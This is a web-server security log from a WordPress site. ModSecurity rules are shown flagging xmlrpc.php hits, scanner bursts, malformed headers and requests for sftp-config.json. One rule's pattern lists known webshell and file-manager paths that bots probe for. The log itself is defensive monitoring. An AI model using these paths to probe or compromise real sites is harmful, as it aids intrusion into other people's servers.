[Wed Jan 07 20:44:51.481718 2026] [:error] [pid 30633:tid 30687] [client 132.148.106.39:61432] [client 132.148.106.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.106.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV5VQ_ZiVWlF7303nMivrQAAAFg"]
[Wed Jan 07 20:46:13.911273 2026] [:error] [pid 58330:tid 58354] [client 198.187.29.33:42522] [client 198.187.29.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.187.29.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV5VlQ8kGngKGK7_wncASQAAARY"]
[Wed Jan 07 20:46:16.431562 2026] [:error] [pid 30632:tid 30658] [client 198.187.29.33:42524] [client 198.187.29.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.187.29.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV5VmOd3_LCpBJzo02cMrQAAABY"]
[Wed Jan 07 20:46:18.461775 2026] [:error] [pid 30634:tid 30699] [client 198.187.29.33:42538] [client 198.187.29.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.187.29.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV5VmoCIPBibObtmZtsFuQAAAMk"]
[Wed Jan 07 22:16:41.135980 2026] [:error] [pid 51128:tid 51144] [client 182.253.238.235:53601] [client 182.253.238.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aV5qyUGjtE8U88mrwuez0gAAAY4"]
[Wed Jan 07 22:16:41.752379 2026] [:error] [pid 30632:tid 30660] [client 182.253.238.235:53874] [client 182.253.238.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aV5qyed3_LCpBJzo02cekAAAABg"]
[Wed Jan 07 22:16:42.376339 2026] [:error] [pid 30633:tid 30663] [client 182.253.238.235:54120] [client 182.253.238.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aV5qyvZiVWlF7303nMi_PAAAAEA"]
[Thu Jan 08 00:30:29.601489 2026] [:error] [pid 58330:tid 58347] [client 103.127.163.168:44622] [client 103.127.163.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.127.163.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV6KJQ8kGngKGK7_wncnuQAAAQ8"]
[Thu Jan 08 00:30:31.157409 2026] [:error] [pid 30633:tid 30665] [client 103.127.163.168:44628] [client 103.127.163.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.127.163.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV6KJ_ZiVWlF7303nMjQUwAAAEI"]
[Thu Jan 08 00:30:32.348718 2026] [:error] [pid 50905:tid 50913] [client 103.127.163.168:44630] [client 103.127.163.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.127.163.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV6KKGpNgk5-gt30I7a2SQAAAkY"]
[Thu Jan 08 00:32:03.100218 2026] [:error] [pid 50905:tid 50913] [client 150.95.114.218:51244] [client 150.95.114.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.95.114.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV6Kg2pNgk5-gt30I7a20wAAAkY"]
[Thu Jan 08 00:32:05.172733 2026] [:error] [pid 30633:tid 30668] [client 150.95.114.218:51262] [client 150.95.114.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.95.114.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV6KhfZiVWlF7303nMjQggAAAEU"]
[Thu Jan 08 00:32:07.060523 2026] [:error] [pid 30633:tid 30684] [client 150.95.114.218:51284] [client 150.95.114.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.95.114.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV6Kh_ZiVWlF7303nMjQhQAAAFU"]
[Thu Jan 08 01:51:53.344804 2026] [:error] [pid 58294:tid 58316] [client 170.106.84.136:32896] [client 170.106.84.136] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aV6dOVfzA7c0ITpf3nFmVQAAAJQ"]
[Thu Jan 08 02:04:08.094734 2026] [autoindex:error] [pid 50936:tid 50944] [client 138.197.32.240:58969] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Jan 08 03:41:10.078682 2026] [:error] [pid 49932:tid 49951] [client 49.235.136.28:39732] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aV621rQKa_bBbCExA4gPGwAAAMk"]
[Thu Jan 08 05:05:16.723602 2026] [:error] [pid 15264:tid 15318] [client 103.212.121.158:58525] [client 103.212.121.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.212.121.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV7KjIov6_kvS0Owh-puKAAAAFM"]
[Thu Jan 08 05:05:19.627396 2026] [:error] [pid 15358:tid 15390] [client 103.212.121.158:58951] [client 103.212.121.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.212.121.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV7KjyoRk9xWJ3toSBK0eQAAANQ"]
[Thu Jan 08 05:05:21.958546 2026] [:error] [pid 15263:tid 15291] [client 103.212.121.158:59331] [client 103.212.121.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.212.121.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV7Kkdv61bxum7WG_e9LaQAAABM"]
[Thu Jan 08 07:02:59.027742 2026] [:error] [pid 2484:tid 2509] [client 72.167.68.215:53112] [client 72.167.68.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.167.68.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV7mIziDlnlaQQK_AEOdYAAAAVU"]
[Thu Jan 08 07:34:55.218298 2026] [:error] [pid 15263:tid 15278] [client 4.189.120.192:22527] [client 4.189.120.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aV7tn9v61bxum7WG_e9w0gAAAAY"], referer: https://duckduckgo.com/
[Thu Jan 08 07:35:23.036852 2026] [:error] [pid 15263:tid 15292] [client 4.189.120.192:44340] [client 4.189.120.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "aV7tu9v61bxum7WG_e9w-AAAABQ"], referer: https://www.google.co.uk/
[Thu Jan 08 07:35:35.620760 2026] [:error] [pid 15264:tid 15304] [client 4.189.120.192:45133] [client 4.189.120.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.189.120.192, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV7tx4ov6_kvS0Owh-qUwAAAAEU"], referer: https://www.google.fr/
[Thu Jan 08 09:09:19.400441 2026] [:error] [pid 2484:tid 2506] [client 66.29.143.31:40518] [client 66.29.143.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.143.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8DvziDlnlaQQK_AEO1rAAAAVI"]
[Thu Jan 08 09:09:21.861358 2026] [:error] [pid 15264:tid 15315] [client 66.29.143.31:40524] [client 66.29.143.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.143.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8DwYov6_kvS0Owh-qndAAAAFA"]
[Thu Jan 08 09:09:23.576442 2026] [:error] [pid 15263:tid 15272] [client 66.29.143.31:40530] [client 66.29.143.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.143.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8Dw9v61bxum7WG_e-OKAAAAAA"]
[Thu Jan 08 09:10:08.236767 2026] [:error] [pid 15358:tid 15376] [client 102.212.247.186:41726] [client 102.212.247.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.212.247.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8D8CoRk9xWJ3toSBLtYwAAAMY"]
[Thu Jan 08 09:10:11.690882 2026] [:error] [pid 15265:tid 15344] [client 102.212.247.186:41742] [client 102.212.247.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.212.247.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8D86E6VBKhew2LTFTGIgAAAJI"]
[Thu Jan 08 09:10:13.204831 2026] [:error] [pid 2424:tid 2440] [client 102.212.247.186:53332] [client 102.212.247.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.212.247.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8D9bTDJR8aofkBk9SIJwAAAQ4"]
[Thu Jan 08 09:10:53.730329 2026] [:error] [pid 2484:tid 2506] [client 103.69.96.165:59090] [client 103.69.96.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.69.96.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8EHTiDlnlaQQK_AEO13gAAAVI"]
[Thu Jan 08 09:10:55.688837 2026] [:error] [pid 17404:tid 17421] [client 103.69.96.165:59104] [client 103.69.96.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.69.96.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8EH2Vd_oH193N6AnVBmAAAAY8"]
[Thu Jan 08 09:10:58.347490 2026] [:error] [pid 15265:tid 15335] [client 103.69.96.165:47888] [client 103.69.96.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.69.96.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8EIqE6VBKhew2LTFTGTwAAAIk"]
[Thu Jan 08 09:11:00.706920 2026] [:error] [pid 17404:tid 17418] [client 202.124.204.254:53192] [client 202.124.204.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.124.204.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8EJGVd_oH193N6AnVBmQAAAYw"]
[Thu Jan 08 09:11:03.737749 2026] [:error] [pid 15263:tid 15275] [client 202.124.204.254:54652] [client 202.124.204.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.124.204.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8EJ9v61bxum7WG_e-O6wAAAAM"]
[Thu Jan 08 09:11:12.420636 2026] [:error] [pid 2484:tid 2486] [client 202.124.204.254:58594] [client 202.124.204.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.124.204.254, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8EMDiDlnlaQQK_AEO17AAAAUA"]
[Thu Jan 08 09:18:39.227468 2026] [:error] [pid 15263:tid 15289] [client 43.157.22.57:35924] [client 43.157.22.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aV8F79v61bxum7WG_e-RCwAAABE"]
[Thu Jan 08 09:54:49.874887 2026] [:error] [pid 2484:tid 2495] [client 182.42.105.85:34820] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aV8OaTiDlnlaQQK_AEO76wAAAUg"]
[Thu Jan 08 10:28:42.893403 2026] [:error] [pid 15358:tid 15386] [client 103.77.107.178:60726] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aV8WWioRk9xWJ3toSBL6dwAAANA"]
[Thu Jan 08 10:49:25.240204 2026] [:error] [pid 2424:tid 2448] [client 43.131.45.213:49136] [client 43.131.45.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aV8bNbTDJR8aofkBk9ScmgAAARY"]
[Thu Jan 08 11:32:43.004621 2026] [:error] [pid 2484:tid 2486] [client 68.183.98.56:54854] [client 68.183.98.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.98.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8lWziDlnlaQQK_AEPoDQAAAUA"]
[Thu Jan 08 12:22:38.831517 2026] [:error] [pid 15265:tid 15326] [client 66.29.143.31:35350] [client 66.29.143.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.143.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xDqE6VBKhew2LTFTvJgAAAIA"]
[Thu Jan 08 12:22:40.979504 2026] [:error] [pid 17404:tid 17420] [client 66.29.143.31:35358] [client 66.29.143.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.143.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xEGVd_oH193N6AnVr0gAAAY4"]
[Thu Jan 08 12:22:42.611635 2026] [:error] [pid 15358:tid 15388] [client 66.29.143.31:35374] [client 66.29.143.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.143.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xEioRk9xWJ3toSBIaJwAAANI"]
[Thu Jan 08 12:23:27.666894 2026] [:error] [pid 15358:tid 15382] [client 185.2.4.114:34562] [client 185.2.4.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.2.4.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xPyoRk9xWJ3toSBIaQAAAAMw"]
[Thu Jan 08 12:23:30.141454 2026] [:error] [pid 7586:tid 7605] [client 185.2.4.114:34566] [client 185.2.4.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.2.4.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xQsJyk37GdXP5TmUduAAAAc8"]
[Thu Jan 08 12:23:32.212632 2026] [:error] [pid 15265:tid 15350] [client 185.2.4.114:34582] [client 185.2.4.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.2.4.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xRKE6VBKhew2LTFTvdwAAAJg"]
[Thu Jan 08 12:23:46.621403 2026] [:error] [pid 15265:tid 15331] [client 65.21.96.11:63085] [client 65.21.96.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.21.96.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xUqE6VBKhew2LTFTviwAAAIU"]
[Thu Jan 08 12:23:48.780489 2026] [:error] [pid 15265:tid 15339] [client 65.21.96.11:63342] [client 65.21.96.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.21.96.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xVKE6VBKhew2LTFTvnAAAAI0"]
[Thu Jan 08 12:23:52.005104 2026] [:error] [pid 15358:tid 15384] [client 65.21.96.11:63693] [client 65.21.96.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.21.96.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xWCoRk9xWJ3toSBIaZAAAAM4"]
[Thu Jan 08 12:23:58.999271 2026] [:error] [pid 15265:tid 15350] [client 88.198.14.6:41842] [client 88.198.14.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.14.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xXqE6VBKhew2LTFTvxQAAAJg"]
[Thu Jan 08 12:24:01.560445 2026] [:error] [pid 2424:tid 2429] [client 88.198.14.6:41850] [client 88.198.14.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.14.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xYbTDJR8aofkBk9S7gAAAAQM"]
[Thu Jan 08 12:24:03.784746 2026] [:error] [pid 2424:tid 2448] [client 88.198.14.6:37058] [client 88.198.14.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.14.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xY7TDJR8aofkBk9S7gwAAARY"]
[Thu Jan 08 12:24:13.320608 2026] [:error] [pid 15265:tid 15347] [client 65.21.96.11:49430] [client 65.21.96.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.21.96.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xbaE6VBKhew2LTFTv0AAAAJU"]
[Thu Jan 08 12:24:15.340520 2026] [:error] [pid 15264:tid 15312] [client 65.21.96.11:49624] [client 65.21.96.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.21.96.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aV8xb4ov6_kvS0Owh-rLUgAAAE0"]
